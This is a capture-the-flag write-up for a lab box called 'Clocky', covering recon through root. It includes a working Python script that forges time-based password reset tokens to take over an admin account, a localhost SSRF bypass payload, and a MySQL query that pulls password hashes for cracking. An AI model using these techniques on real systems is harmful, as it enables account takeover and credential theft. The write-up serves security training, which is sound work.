Clocky

Time is an illusion.

Recon

Let's sstart with a nmap scan

┌──(kali㉿kali)-[~]
└─$ nmap -p- -T4 10.10.24.33   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-01 02:00 EDT
Nmap scan report for clocky.thm (10.10.24.33)
Host is up (0.17s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 430.93 seconds
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p 22,80,8000,8080  -T4 10.10.24.33
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-01 02:35 EDT
Nmap scan report for clocky.thm (10.10.24.33)
Host is up (0.16s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d9:42:e0:c0:d0:a9:8a:c3:82:65:ab:1e:5c:9c:0d:ef (RSA)
|   256 ff:b6:27:d5:8f:80:2a:87:67:25:ef:93:a0:6b:5b:59 (ECDSA)
|_  256 e1:2f:4a:f5:6d:f1:c4:bc:89:78:29:72:0c:ec:32:d2 (ED25519)
80/tcp   open  http       Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: 403 Forbidden
8000/tcp open  http       nginx 1.18.0 (Ubuntu)
|_http-title: 403 Forbidden
| http-robots.txt: 3 disallowed entries 
|_/*.sql$ /*.zip$ /*.bak$
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open  http-proxy Werkzeug/2.2.3 Python/3.8.10
|_http-title: Clocky
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.3 Python/3.8.10
|     Date: Mon, 01 Apr 2024 06:35:09 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 6206
|     Connection: close
|     <head>
|     <style>
|     body {
|     background-color:#fff;
|     background-position:center;
|     background-repeat:repeat-y;
|     font-family: "Lucida Grande","Lucida Sans Unicode",geneva,verdana,sans-serif;
|     font-size:10px;
|     color:#777;
|     #container {
|     width:500px;
|     margin:0 auto;
|     #header {
|     background-color:#eeeeee;
|     margin:10px;
|     padding:30px 10px 30px 10px;
|     border-top:2px solid #ccc;
|     #header h1 {
|     text-align:center;
|     font-family:Trebuchet MS, Geneva, Arial, Helvetica, sans-serif;
|     font-size:30px;
|     color:#333;
|     margin:0;
|     font-weight:normal;
|     #header h1 strong {
|     color:#A85BA6;
|     #header h1 a {
|     color:#333;
|     text-decoration:none;
|     #header h2 {
|     font-size:11px;
|     font-weight:normal;
|     text-align:center;
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.3 Python/3.8.10
|     Date: Mon, 01 Apr 2024 06:35:10 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, HEAD, OPTIONS
|     Content-Length: 0
|     Connection: close
|   RTSPRequest: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-server-header: Werkzeug/2.2.3 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=4/1%Time=660A559D%P=x86_64-pc-linux-gnu%r
...
SF:d\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.15 seconds

From the nmap scan we can see port 80 and 8000 gives forbidden. Visiting these ports will also give you a 403 forbidden. However we can see robots.txt is available on port 8000.

We can visit that and get our first flag.

We also get a disallow list for the extensions sql, zip, bak.

Feroxbuster revealed index.zip. Downloading it and unzipping it gave us 2 files app.py and flag2.txt.

┌──(kali㉿kali)-[~]
└─$ feroxbuster -u http://clocky.thm:8000 -x sql,zip,bak
                                                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.2
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://clocky.thm:8000
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.2
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [sql, zip, bak]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l       10w      162c http://clocky.thm:8000/
200      GET       11l       46w     3280c http://clocky.thm:8000/index.zip
[####################] - 7m    120000/120000  0s      found:2       errors:0      
[####################] - 7m    120000/120000  295/s   http://clocky.thm:8000/  

We have our 2nd flag.

Port 8080 was accessible and we are met with a page that tells the time.

Since this room is based on time and the current time displayed on the page seems to be in London Time Zone.

Feroxbuster search on port 8080 revealed some directories:

and mainly a login page. i.e: /administrator. It also reveals /dashboard but that just redirects to /administrator.

Having a closer look at app.py we find an interesting block of code.

Snippet from app.py.
def forgot_password():
	if session.get("logged_in"):
		return render_template("admin.html")

	else:
		if request.method == "GET":
			return render_template("forgot_password.html")
		
		if request.method == "POST":
			username = request.form["username"]
			username = username.lower()

			try:
				with connection.cursor() as cursor:

					sql = "SELECT username FROM users WHERE username = %s"
					cursor.execute(sql, (username))

					if cursor.fetchone():
						value = datetime.datetime.now()
						lnk = str(value)[:-4] + " . " + username.upper()
						lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()
						sql = "UPDATE reset_token SET token=%s WHERE username = %s"
						cursor.execute(sql, (lnk, username))
						connection.commit()

			except:
				pass

			message = "A reset link has been sent to your e-mail"
			return render_template("forgot_password.html", message=message)


# Done

This code essentially checks if a username exists in the database, and if it does, it generates a token based on the current timestamp and the username, hashes it using SHA-1 and updates the corresponding token in the database. This process is typically used for generating and updating password reset tokens.

We can use this to make a small script that will generate the token for the username Administrator for us.

Tokengen.py
import datetime  
import hashlib   
import requests  
import re        

# Define the username for which the password reset token will be generated
username = 'administrator'

# Define the base URL of the target web application
base_url = 'http://clocky.thm:8080/'

# Data payload for the POST request to the 'forgot_password' endpoint
data = {
    "username": "Administrator"
}

# Send a POST request to the 'forgot_password' endpoint to initiate password reset
requests.post(base_url + "forgot_password", data=data)

# Send a GET request to the base URL to retrieve the current time from the web application
response = requests.get(base_url)

# Check if the response status code is 200 (OK)
if response.status_code == 200:
    # Define a regular expression pattern to extract the current time from the response
    time_pattern = r'The current time is (\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})'
    # Search for the pattern in the response text
    match = re.search(time_pattern, response.text)
    if match:
        # Extract the current time string from the matched pattern
        current_time_str = match.group(1)

# Print the current time string (optional)
print(current_time_str)

# List to store valid password reset tokens
valid_tokens = []

# Iterate through milliseconds from 00 to 99
for ms in range(100):
    # Convert milliseconds to a two-digit string (e.g., '00', '01', ..., '99')
    ms_str = str(ms).zfill(2)
    # Construct the token data by concatenating current time, milliseconds, and username
    token_data = current_time_str + "." + ms_str + " . " + username.upper()
    # Hash the token data using SHA-1 hashing algorithm
    hashed_token = hashlib.sha1(token_data.encode("utf-8")).hexdigest()
    
    # Send a GET request to the 'password_reset' endpoint with the generated token as a parameter
    response = requests.get(base_url + 'password_reset', params={'token': hashed_token})
    
    # Check if the response does not contain the 'Invalid token' message
    if '<h2>Invalid token</h2>' not in response.text:
        # Print the valid token
        print('Valid token: {}'.format(hashed_token))
        # Add the valid token to the list
        valid_tokens.append(hashed_token)

# Print the list of valid tokens
print("Valid tokens:", valid_tokens)
┌──(kali㉿kali)-[~/Desktop/THM/Clocky]
└─$ python test.py
Valid token: **********************************486ac2
('Valid tokens:', ['**********************************486ac2'])

It is important to first use the forgot password page and then generate token at roughly the same time.

We can now access the password reset page for Administrator:

http://clocky.thm:8080/password_reset?token="Generated_Token"

We can see in the above image that the token we generated worked and we have successfully reset the password. We've also got our 3rd flag.

The page also has an input for location. Upon entering something it downloads a file. From app.py we know that there is an SQL database on localhost. Directly entering http://localhost/database.sql will download a file but the file will show a forbidden 403.

We need to do some URL bypass. The below link has a list of possible payloads we can use.

http://0x7f000001/database.sql

The above payload worked and we got a file which gave us Flag 4 and some other details.

Initial Access

We have a password for some user. From app.py we know found users Jane and Clarice.

The password worked for Clarice and we were able to SSH in and get Flag 5.

In the app folder we can view .env for another password.

We can use this password to login into mysql.

We can find few databases and some tables. We can also find the forgot password token.

The database mysql has alot of tables and the user table shows some users and hash. They seem to be poorly formated. Fortunately we can fix that and then use hash cat to obtain some passwords.

The below commad gives us a nice format to view the username and hash.

SELECT user, CONCAT('$mysql',LEFT(authentication_string,6),'',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';

Privilege Escalation

We have obtained 5 hashes. Let us use hashcat to crack the hash and obtain the password for the user dev.

We can use this password to get root access and obtain the final flag.

Last updated

Was this helpful?